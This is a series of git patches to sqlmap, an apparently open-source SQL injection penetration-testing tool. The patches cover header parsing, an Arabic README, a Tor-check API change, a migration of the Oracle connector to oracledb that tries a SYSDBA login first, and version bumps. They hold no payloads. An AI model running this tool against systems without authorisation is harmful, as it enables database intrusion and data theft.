866e93c93541498ecce70125037bdd376d78188e481d225f81843f21f4797d8c lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -14c12cfb91fec08a446545c7006dc19aed9b5e800d4ff1e615aa453af713e773 lib/core/settings.py +4cd6715f3779c0ab94939d7eb4435de6eb3620beeddf5c889b0ecd72872de9ce lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 52b2f5e5c5f..fd8eb0a951d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1405,7 +1405,10 @@ def _setHTTPExtraHeaders(): debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") + if "\n" in conf.headers: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") + elif "\\n" in conf.headers: + conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") for headerValue in conf.headers: if not headerValue.strip(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 503e121ec9b..727bc3709f3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.22" +VERSION = "1.9.6.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 07d0a60e6c6efe1e11ff61caa2634bda8c3a3acf Mon Sep 17 00:00:00 2001 From: Mohamed Amgad Date: Thu, 12 Jun 2025 21:57:13 +0300 Subject: [PATCH 182/853] Add Arabic translation (#5845) --- README.md | 1 + doc/translations/README-ar-AR.md | 68 ++++++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+) create mode 100644 doc/translations/README-ar-AR.md diff --git a/README.md b/README.md index 6ff34badf5f..777d4aa03dd 100644 --- a/README.md +++ b/README.md @@ -52,6 +52,7 @@ Links Translations ---- +* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md new file mode 100644 index 00000000000..73ae0b7bebd --- /dev/null +++ b/doc/translations/README-ar-AR.md @@ -0,0 +1,68 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +
+ +برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. + +لقطات الشاشة +---- + +
+ +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +
+ +يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي. + +التثبيت +---- + +يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). + +يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap): + +
+ + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +
+ +يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل. + +الاستخدام +---- + +للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم: + +
+ + python sqlmap.py -h + +
+ +للحصول على قائمة بجميع الخيارات والمفاتيح استخدم: + +
+ + python sqlmap.py -hh + +
+ +يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). +للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +الروابط +---- + +* الصفحة الرئيسية: https://sqlmap.org +* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues +* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki +* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تويتر: [@sqlmap](https://twitter.com/sqlmap) +* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file From 8ad5d8347f1bf0511e87fd6fc733f56c11716aed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Jun 2025 20:59:07 +0200 Subject: [PATCH 183/853] Minor patch links --- data/txt/sha256sums.txt | 5 +++-- doc/translations/README-ar-AR.md | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2a28a8ad8b4..5fa53a29f92 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -88,6 +88,7 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md +3a8d6530c3aa16938078ee5f0e25178e8ce92758d3bad5809f800aded24c9633 doc/translations/README-ar-AR.md d739d4ced220b342316f5814216bdb1cb85609cd5ebb89e606478ac43301009e doc/translations/README-bg-BG.md 6882f232e5c02d9feb7d4447e0501e4e27be453134fb32119a228686b46492a5 doc/translations/README-ckb-KU.md 9bed1c72ffd6b25eaf0ff66ac9eefaa4efc2f5e168f51cf056b0daf3e92a3db2 doc/translations/README-de-DE.md @@ -186,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -4cd6715f3779c0ab94939d7eb4435de6eb3620beeddf5c889b0ecd72872de9ce lib/core/settings.py +a5b7e56553e02ad012bba892d6d0ef8e927b8f94436c7df87b0371920e41e4d7 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -471,7 +472,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi 7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py 115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py -90530922cac9747a5c7cf8afcc86a4854ee5a1f38ea0381a62d41fc74afe549a README.md +baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index 73ae0b7bebd..53b62f51d8c 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
@@ -63,6 +63,6 @@ * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* تويتر: [@sqlmap](https://twitter.com/sqlmap) +* تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/lib/core/settings.py b/lib/core/settings.py index 727bc3709f3..9c6c173f11f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.0" +VERSION = "1.9.6.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b8402744fc9b98f2b1c13b67d2995412e34a9283 Mon Sep 17 00:00:00 2001 From: Nicolas Thumann Date: Mon, 16 Jun 2025 11:16:29 +0200 Subject: [PATCH 184/853] Use API to check Tor connection (#5910) --- lib/core/option.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index fd8eb0a951d..77f8c4e336c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -11,6 +11,7 @@ import functools import glob import inspect +import json import logging import os import random @@ -2544,11 +2545,12 @@ def _checkTor(): logger.info(infoMsg) try: - page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) + page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) + content = json.loads(page) except SqlmapConnectionException: - page = None + content = None - if not page or "Congratulations" not in page: + if not content or not content.get("IsTor"): errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: From d4f479e7a897b28d06fb01d6b03038195c41465a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Jun 2025 11:22:29 +0200 Subject: [PATCH 185/853] Minor update for #5910 --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 8 ++++---- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5fa53a29f92..74750417319 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,14 +180,14 @@ c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump. 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/core/__init__.py 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py -16a8a7be0d34a2ba77690375c03a5d2c905b752ab3f080c39fdce5f69c3df8ce lib/core/option.py +0622da3388cd9cfa80ea2dac86378efe47ff5e6902a7b04a91783b2e338b5eed lib/core/option.py 866e93c93541498ecce70125037bdd376d78188e481d225f81843f21f4797d8c lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a5b7e56553e02ad012bba892d6d0ef8e927b8f94436c7df87b0371920e41e4d7 lib/core/settings.py +fc8dda2955bde84ad8634ccfa26b962b62d452bb60cf447038cee1e5773c5344 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 77f8c4e336c..58193b48225 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2546,11 +2546,11 @@ def _checkTor(): try: page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) - content = json.loads(page) - except SqlmapConnectionException: - content = None + tor_status = json.loads(page) + except (SqlmapConnectionException, TypeError, ValueError): + tor_status = None - if not content or not content.get("IsTor"): + if not tor_status or not tor_status.get("IsTor"): errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 9c6c173f11f..ee2746de993 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.1" +VERSION = "1.9.6.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1de66fd7e1dc3e727d87a138e889e90b0421b69e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Jun 2025 12:14:24 +0200 Subject: [PATCH 186/853] Update regarding the #5911 --- data/txt/sha256sums.txt | 12 +++++------ lib/controller/handler.py | 5 ++++- lib/core/common.py | 6 +----- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- lib/utils/deps.py | 2 +- plugins/dbms/oracle/connector.py | 35 +++++++++++++------------------- 7 files changed, 28 insertions(+), 36 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 74750417319..c12ca4c719b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -161,18 +161,18 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 96a39b4e3a9178e4e8285d5acd00115460cc1098ef430ab7573fc8194368da5c lib/controller/action.py fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller/checks.py 34e9cf166e21ce991b61ca7695c43c892e8425f7e1228daec8cadd38f786acc6 lib/controller/controller.py -1947e6c69fbc2bdce91d2836e5c9c9535e397e9271ae4b4ef922f7a01857df5e lib/controller/handler.py +25e9781a4285f1161a39a17bb1746ddd0e28cdf9d4c6744235c619e7b8352afe lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py 440cbab6161f466158c63f0ee97873254655f670ca990fa26bdd0a6e54c42c2a lib/core/bigarray.py -8920eb3115ecd25933084af986f453362aa55a4bd15bfb9e75673239bd206acc lib/core/common.py +e3b8f8cf9607d12f3de5e6bcd5031f21f50d4b331844b8e921493dfde2efe0f7 lib/core/common.py d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py a051955f483b281344ae16ecc1d26f77ea915db0a77a7b62c1a5b80feb2d4d87 lib/core/datatype.py 1e4e4cb64c0102a6ef07813c5a6b6c74d50f27d1a084f47067d01e382cf32190 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py -1ad21a1e631f26b2ecc9c73f93218e9765de8d1a9dcc6d3c3ffe9f78ab8446d8 lib/core/dicts.py +ce6e1c1766acd95168f7708ddcacaa4a586c21ffc9e92024c4715611c802b60c lib/core/dicts.py c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump.py 9187819a6fd55f4b9a64c6df1a9b4094718d453906fc6eeda541c8880b3b62c4 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -fc8dda2955bde84ad8634ccfa26b962b62d452bb60cf447038cee1e5773c5344 lib/core/settings.py +7904240fb93be61e6fcf999a40d5ae60b8110a305b0f664580949b6987ec4744 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -243,7 +243,7 @@ dca6a14d7e30f8d320cc972620402798b493528a0ad7bd98a7f38327cea04e20 lib/techniques e41d96b1520e30bd4ce13adfcf52e11d3a5ea75c0b2d7612958d0054be889763 lib/utils/api.py af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brute.py 828940a8eefda29c9eb271c21f29e2c4d1d428ccf0dcc6380e7ee6740300ec55 lib/utils/crawler.py -bfb4ea118e881d60c42552d883940ca5cca4e2a406686a2836e0739ed863a6a4 lib/utils/deps.py +56b93ba38f127929346f54aa75af0db5f46f9502b16acfe0d674a209de6cad2d lib/utils/deps.py 3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py e67aa754b7eeb6ec233c27f7d515e10b6607448056a1daba577936d765551636 lib/utils/har.py 00135cf61f1cfe79d7be14c526f84a841ad22e736db04e4fe087baeb4c22dc0d lib/utils/hashdb.py @@ -402,7 +402,7 @@ b7aa7bf8b1f9ba38597bae7fc8bf436b111eeb5ee6a4ad0a977e56dca88a4afc plugins/dbms/m 88daad9cf2f62757949cb27128170f33268059e2f0a05d3bd9f75417b99149de plugins/dbms/mysql/__init__.py 20108fe32ae3025036aa02b4702c4eda81db01c04a2e0e2e4494d8f1b1717eca plugins/dbms/mysql/syntax.py 91f34b67fe3ad5bfa6eae5452a007f97f78b7af000457e9d1c75f4d0207f3d39 plugins/dbms/mysql/takeover.py -125966162396ef4084d70fac1c03e25959a6ccebacd8274bda69b7bebf82b9d5 plugins/dbms/oracle/connector.py +4b04646298dfe366c401001ab77893bcd342d34211aec1164c6c92757a66f5f4 plugins/dbms/oracle/connector.py 8866391a951e577d2b38b58b970774d38fb09f930fa4f6d27f41af40c06987c1 plugins/dbms/oracle/enumeration.py 5ca9f30cd44d63e2a06528da15643621350d44dc6be784bf134653a20b51efef plugins/dbms/oracle/filesystem.py b1c939e3728fe4a739de474edb88583b7e16297713147ca2ea64cac8edf2bdf5 plugins/dbms/oracle/fingerprint.py diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 9d69be5a107..fdc20336512 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -6,6 +6,8 @@ """ from lib.core.common import Backend +from lib.core.common import getSafeExString +from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.dicts import DBMS_DICT @@ -173,7 +175,8 @@ def setHandler(): conf.dbmsConnector.connect() except Exception as ex: if exception: - raise exception + singleTimeWarnMessage(getSafeExString(exception)) + raise else: if not isinstance(ex, NameError): raise diff --git a/lib/core/common.py b/lib/core/common.py index d54dd1b8c3e..83d807f34e8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1683,11 +1683,7 @@ def parseTargetDirect(): elif dbmsName == DBMS.PGSQL: __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - __import__("cx_Oracle") - - # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper - if (conf.dbmsUser or "").upper() == "SYS": - conf.direct = "%s?mode=SYSDBA" % conf.direct + __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c4043381cf8..8d929e4214d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -225,7 +225,7 @@ DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), + DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), diff --git a/lib/core/settings.py b/lib/core/settings.py index ee2746de993..0723c75156a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.2" +VERSION = "1.9.6.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 790e2048e4e..f8f38e0e1d5 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -32,7 +32,7 @@ def checkDependencies(): elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - __import__("cx_Oracle") + __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 80a55089a57..9f785d5cae7 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -6,8 +6,8 @@ """ try: - import cx_Oracle -except: + import oracledb +except ImportError: pass import logging @@ -25,32 +25,26 @@ class Connector(GenericConnector): """ - Homepage: https://oracle.github.io/python-cx_Oracle/ - User https://cx-oracle.readthedocs.io/en/latest/ - API: https://wiki.python.org/moin/DatabaseProgramming - License: https://cx-oracle.readthedocs.io/en/latest/license.html#license + Homepage: https://oracle.github.io/python-oracledb/ + User: https://python-oracledb.readthedocs.io/en/latest/ + License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ def connect(self): self.initConnection() - # Reference: https://cx-oracle.readthedocs.io/en/latest/user_guide/connection_handling.html - self.__dsn = "%s:%d/%s" % (self.hostname, self.port, self.db) + self.user = getText(self.user) self.password = getText(self.password) try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) + dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: - if "Oracle Client library" in getSafeExString(ex): - msg = re.sub(r"DPI-\d+:\s+", "", getSafeExString(ex)) - msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) - msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) - raise SqlmapConnectionException(msg) - + except oracledb.DatabaseError as ex: + # Try again without SYSDBA try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) + except oracledb.DatabaseError as ex: raise SqlmapConnectionException(ex) self.initCursor() @@ -59,7 +53,7 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError as ex: + except oracledb.InterfaceError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None @@ -69,11 +63,10 @@ def execute(self, query): try: self.cursor.execute(getText(query)) retVal = True - except cx_Oracle.DatabaseError as ex: + except oracledb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() - return retVal def select(self, query): From 8f9eeb5d54e518c8cea8d69a0652db49d42feb31 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 20 Jun 2025 12:34:14 +0200 Subject: [PATCH 187/853] Unhide '--disable-stats' (#5912) --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 6 +++--- sqlmap.conf | 4 ++++ 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt 